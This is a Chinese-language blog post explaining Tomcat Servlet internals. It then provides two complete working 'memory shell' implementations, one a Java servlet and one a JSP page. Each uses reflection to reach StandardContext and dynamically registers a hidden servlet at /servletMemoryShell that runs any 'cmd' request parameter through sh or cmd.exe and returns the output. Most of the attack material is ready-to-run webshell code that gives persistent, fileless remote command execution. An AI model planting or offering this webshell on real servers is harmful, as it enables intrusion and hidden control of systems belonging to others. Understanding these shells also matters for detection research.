Preparation
在Tomcat架构中,Servlet的生命周期分为五个部分:
- 加载阶段:当Tomcat第一次访问Servlet时,会创建Servlet的实例。
- 初始化阶段:当Servlet实例化后,Tomcat会调用init方法初始化这个对象。
- 处理服务阶段:当浏览器访问Servlet时,Servlet会调用service方法处理请求。
- 销毁阶段:当Tomcat关闭时或者检测到Servlet要从Tomcat删除时,会自动调用destroy方法,让该实例释放掉所占的资源。除此之外,一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁。
- 卸载阶段:当Servlet调用完destroy方法后,会等待垃圾回收。如果有需要再次使用这个Servlet时,会重新调用init方法进行初始化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public interface Servlet { public void init(ServletConfig config) throws ServletException;
public ServletConfig getServletConfig();
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;
public String getServletInfo();
public void destroy(); }
|
Process Analysis
与Filter内存马类似,在javax.servlet.ServletContext中同样存在着addServlet和createServlet方法。

跟进addServlet的实现方法org.apache.catalina.core.ApplicationContext#addServlet,在该方法中,先对传入的servletName进行检测,为空时会抛出异常。接着判断context的生命周期,如果处于LifecycleState.STARTING_PREP状态,同样会抛出异常。接着通过servletName从context中寻找相关联的子容器,并将其转换成Wrapper对象,当不存在时,会创建一个名字为servletName的wrapper,再将创建的wrapper添加到context的子容器中。最后判断servlet是否为null,当servlet == null时,会将传入的servletClass设置进wrapper中。最后调用org.apache.catalina.core.StandardContext#dynamicServletAdded方法进行servlet动态加载。

跟进org.apache.catalina.core.StandardContext#dynamicServletAdded方法,实例化一个ApplicationServletRegistration对象。


在org.apache.catalina.core.StandardContext#startInternal方法中,注意到servlet构造时调用的loadOnStartup方法中,会获取loadOnStartup的值,此时只有loadOnStartup的值大于0才会进行wrapper的加载。

Achievement
Idea
动态注入Servlet内存马的具体思路如下:
- 调用StandardContext.createWrapper为servlet创建wrapper;
- 配置LoadOnStartup启动优先级;
- 配置ServletName;
- 配置ServletClass;
- addChild添加wrapper到Context;
- addServletMapping添加映射。
Dynamic Registration
Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| package servlet;
import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext;
import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@WebServlet(name = "ServletMemoryShellServlet", value = "/ServletMemoryShellServlet") public class ServletMemoryShellServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { super.doGet(request, response); }
@Override protected void doPost(HttpServletRequest request, HttpServletResponse response) { try { ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(applicationContext);
String servletMapping = standardContext.findServletMapping("servletMemoryShell"); if (servletMapping != null) { return; }
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("servletMemoryShell"); Servlet servletMemoryShell = new Servlet() { public void init(ServletConfig servletConfig) { }
public ServletConfig getServletConfig() { return null; }
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest; HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;
if (httpServletRequest.getParameter("cmd") != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] command = isLinux ? new String[]{"sh", "-c", httpServletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", httpServletRequest.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; httpServletResponse.getWriter().write(output); httpServletResponse.getWriter().flush(); } }
public String getServletInfo() { return null; }
public void destroy() { } }; wrapper.setLoadOnStartup(1); wrapper.setServlet(servletMemoryShell); wrapper.setServletClass(servletMemoryShell.getClass().getName());
standardContext.addChild(wrapper); standardContext.addServletMapping("/servletMemoryShell", "servletMemoryShell");
response.getWriter().write("Servlet Inject Successfully..."); } catch (Exception e) { e.printStackTrace(); } } }
|

JSP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(applicationContext);
String servletMapping = standardContext.findServletMapping("servletMemoryShell"); if (servletMapping != null) { return; }
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("servletMemoryShell"); Servlet servletMemoryShell = new Servlet() { public void init(ServletConfig servletConfig) { }
public ServletConfig getServletConfig() { return null; }
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest; HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;
if (httpServletRequest.getParameter("cmd") != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] command = isLinux ? new String[]{"sh", "-c", httpServletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", httpServletRequest.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; httpServletResponse.getWriter().write(output); httpServletResponse.getWriter().flush(); } }
public String getServletInfo() { return null; }
public void destroy() { } }; wrapper.setLoadOnStartup(1); wrapper.setServlet(servletMemoryShell); wrapper.setServletClass(servletMemoryShell.getClass().getName());
standardContext.addChild(wrapper); standardContext.addServletMapping("/servletMemoryShell", "servletMemoryShell");
response.getWriter().write("Servlet Inject Successfully..."); %>
|
